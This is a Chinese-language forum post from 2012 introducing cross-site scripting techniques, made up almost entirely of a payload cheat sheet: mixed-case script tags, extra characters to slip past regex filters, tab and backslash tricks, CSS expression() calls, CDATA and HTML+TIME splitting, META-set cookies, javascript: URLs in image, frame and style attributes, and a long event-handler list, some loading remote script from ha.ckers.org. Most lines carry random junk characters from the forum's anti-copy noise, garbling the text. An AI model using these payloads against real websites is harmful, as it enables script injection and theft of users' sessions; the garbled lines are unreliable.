找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2272|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1. 改变字符大小写1 X4 M& ]9 y: d

1 H+ f4 M# e% A6 b4 U! x9 |
) r' E4 q3 m' L& i0 t
1 X4 v' a4 K1 k8 a4 H6 a, ~6 @    <sCript>alert(‘d’)</scRipT>
3 G3 f: ]! {8 B  j, |7 j& v
7 Y1 a) S. \& h2. 利用多加一些其它字符来规避Regular Expression的检查; I5 Q9 ]( |+ B: d- J
! \: J: M# F, z; O8 X% N# A4 R0 ]
    <<script>alert(‘c’)//<</script>
: Y/ _3 X1 s' B% s( q1 U: R6 [- y4 s7 Y5 u1 r7 c
    <SCRIPT a=">" SRC="t.js"></SCRIPT>! D1 s8 K) y+ u! H/ k

, h1 r% f0 G8 u/ W    <SCRIPT =">" SRC="t.js"></SCRIPT>
. }- c0 ^& d  u. q6 b, B$ f# a1 N0 r0 M" B3 D3 J/ J& m: q
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>, \6 b$ j2 D/ g; h( A$ z

, V+ W0 d  \' E, q  g2 p; ~' y) A* s1 r    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>& Q. ]% f+ h& u3 z

- _- S! N, G5 o, j" I( b* `: S% g    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
8 Y4 l+ D* x: ^8 I+ F- g3 L" G  `7 m9 N
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>( f- F2 H. M3 u# e+ Q, e

3 w8 k5 H* {' _, X: M+ A% p% o. S3. 以其它扩展名取代.js7 \) ~5 q  n+ o5 j$ S9 H
1 i2 \& h) K8 J
    <script src="bad.jpg"></script>
9 e. E' P0 ?% E* {( I
4 g" O2 k; C7 Y3 \! S4. 将Javascript写在CSS档里
& w8 k7 \( C6 h% w- i: x, c/ n1 \- m  U2 ^+ Q
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
1 h: W: |! D; ^4 O0 N4 a  [, l& l) y- C9 O
       example:
  a8 @0 R$ K/ o4 P/ _3 Q9 [& N/ [1 c8 R4 N" \" M
          body {, _; i( {, M+ _8 i% |0 M% V

) c# @/ F2 k- y4 C# J: K. \% y               background-image: url(‘javascript:alert("XSS");’)6 ]+ A3 z7 Q# R) N/ Z

9 B" q5 ~3 I+ {! r) D          }
9 }  i3 |- S: L( L5 S  S! Y
5 G6 m3 @# E2 w- B* v4 x" r5. 在script的tag里加入一些其它字符% j& u# k: c6 ?6 Q  E0 H
2 W9 z, u& z: {+ w
    <SCRIPT/SRC="t.js"></SCRIPT>. m4 M6 Q  o/ A4 V
9 j# A" X+ \  u0 B
    <SCRIPT/anyword SRC="t.js"></SCRIPT>( K& `9 G/ W, _/ C- R7 o- ]6 ~$ ~
$ S8 i: t; h* k& W
6. 使用tab或是new line来规避3 _/ b7 V6 E: }. C( m4 @

* G  D1 f" D/ V* Z. ]6 |. J0 r    <img src="jav ascr ipt:alert(‘XSS3′)">$ T# }2 w+ l9 p. L# W

. D& z% p, Z  X$ X: C- Q    <img src="jav ascr ipt:alert(‘XSS3′)">
5 U6 ]8 @9 ^" A# b- S5 D; Z+ ?2 T( l5 M3 \. V4 S4 o
    <IMG SRC="jav ascript:alert(‘XSS’);">
! Z7 b/ |& X- g% h
# c( B; b0 U4 M         -> tag# t7 M: {/ f. ^! A

! x+ W- g2 m" g! w" d: l& T         -> new line& ]* w- w9 C, I
* i/ X6 Y) T6 I: g. ?5 r  ?% \: m
7. 使用"\"来规避7 l, P# R- ?! w
' L6 c2 t& j: L1 F, ]1 p2 h
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
- b" o2 B% G' e! |# ~1 d! ~5 R7 D$ W+ y& r
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>( g2 s( Y6 L5 ^& @; i* C& d$ K

  p) p6 H% p/ n6 V. k" |    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
$ x4 ~9 u5 X4 `" g% s! `: l& F! Z. Z; J9 J' v0 t% W
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" _. h; _% S. V) n
+ F2 S  }0 T: j3 ^, x
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
; f. Z3 L' B0 g/ H0 J) q2 z, s6 u, X* Q& A
8. 使用Hex encode来规避(也可能会把";"拿掉)2 n- X/ Z; c$ b6 _. {) u: z
7 N* H1 O! p3 j8 \5 t1 k
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
) R% i) r; |- y. N% L) _6 W2 k' M7 T( b2 U6 s3 X" z) n
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">. D8 J2 ?/ `% ]* b
" ^' o/ p: ]) X; X+ |2 f; j# W
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">8 O8 X! j# o9 i4 l

9 }) @7 m; T$ L! d        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">* E6 x' K& {6 U% x* G

; c5 w/ r- W5 |3 R3 Z9. script in HTML tag) H& s7 k; z* Y4 d7 U' ^
" A' U8 `/ Q/ d: O* n: e
    <body onload=」alert(‘onload’)」>+ f5 b: A: B3 O! e) u" ?
! B  c: B! Y4 @
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload- L! Y% M  z; X( m, g) ?7 P, V' Y: {

0 {8 [: t3 l7 O$ }/ Y0 m' ?4 Z. |10. 在swf里含有xss的code: e& M/ ]" j( R2 [& |' O$ ^' W1 |
& i8 T. B0 W. M  S, D5 Z0 i" L
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
! F# \% l& p) C( B0 E+ S7 }5 _
+ X. H% L" B" A; k$ ^0 }11. 利用CDATA将xss的code拆开,再组合起来。
, P' E( T. d7 }, i
; [% ]5 s3 S( t0 _& S9 _- A    <XML ID=I><X><C>
& p+ v4 g4 p& \! j0 i8 D/ S
+ C4 A4 X6 z4 R7 y9 a/ _; S) r* [+ f    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
! k( H2 }7 W/ l4 O. g/ M; i
. [# I$ K- j, T; o    </C></X>9 N0 p1 u5 c2 _
, D6 X; G5 P8 m& Q) N
    </xml>' \& _: X, G4 G( t% v& X

2 h4 @( Z; v3 @/ c    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
3 M5 Z# G) w2 j
0 B! A: ?4 u) D    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
$ t# V0 y7 `# l! Y# y% S" ^' Q$ \" @* ?
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
% ~5 m% l9 k; |6 Y- D
0 K: @! ~6 ]+ Z! K% N- {+ B12. 利用HTML+TIME。* y+ ]( @9 U# I- r) U4 @' I
; b3 @1 ^% P/ e. Y
    <HTML><BODY>3 r( _" e5 n6 k% X$ Z: u! E

; _  c, U, k1 Y: S    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">& _( }+ r9 k2 x, h! N

' @# Q8 \/ c: g/ T4 j  m- C    <?import namespace="t" implementation="#default#time2">
6 {+ c0 p6 c/ q2 h0 ?
" O* Z1 {# s  l5 h1 n- x$ u6 }    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
* _6 ]9 f: C7 o/ P6 i* l" s. q0 j8 {
    </BODY></HTML>6 ~4 p: e0 k0 t0 V, Q0 p

* K' e% n" I) d! t$ x& W13. 透过META写入Cookie。2 w* O: Q/ s- X

9 |$ ^+ W9 G2 X  {' _4 [    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">  u& B, b9 `) j  k" m% H3 q7 B, }

% k2 S9 F# C: ?14. javascript in src , href , url
! a. E& B- W( ?0 v/ x- l( Z; b1 ^5 }/ T( r+ P2 y- X! C
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
( q7 n, B2 J$ |! p# f/ i
( m+ m) s* p: f. T+ X    <img src="javascript:alert(‘XSS3′)">
$ e, O/ w9 W1 q4 C
1 @2 |6 \* A% K$ V: g4 j( d<IMG DYNSRC="javascript:alert(‘XSS20′)">& z) b7 n4 W4 v! r5 ^; C3 G  m9 @

' U5 v3 U7 n0 T' W* x. S- p: E    <IMG LOWSRC="javascript:alert(‘XSS21′)">
0 J8 {1 _* Y6 c, |' ^- l- m3 T0 i4 c+ p" ]1 X, g8 O
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
- F; n5 Q/ I% H* s
' y- K. f' G! e+ {" |% O& T; f    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
9 M3 \+ s- `3 o8 L8 o6 x; A. O  T6 L# f9 D- C
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
/ e9 Q# n7 s1 D+ X5 N( R' c) V0 j2 H& i3 e0 w+ h
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">8 k  g' K- {, L- m
! c9 j/ U5 I, K- s
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}4 h) O( C& M: k% }, p9 k, w0 ~  M* b
4 `3 _$ N% Z' V+ j/ B5 F! X
    </STYLE><A CLASS=XSS></A>8 o; O1 v. h$ K, _( Y
% ]$ ]4 t1 V  S+ M9 n$ |
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>2 k; ]9 G( X, j* Y
. i7 X. e5 f7 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表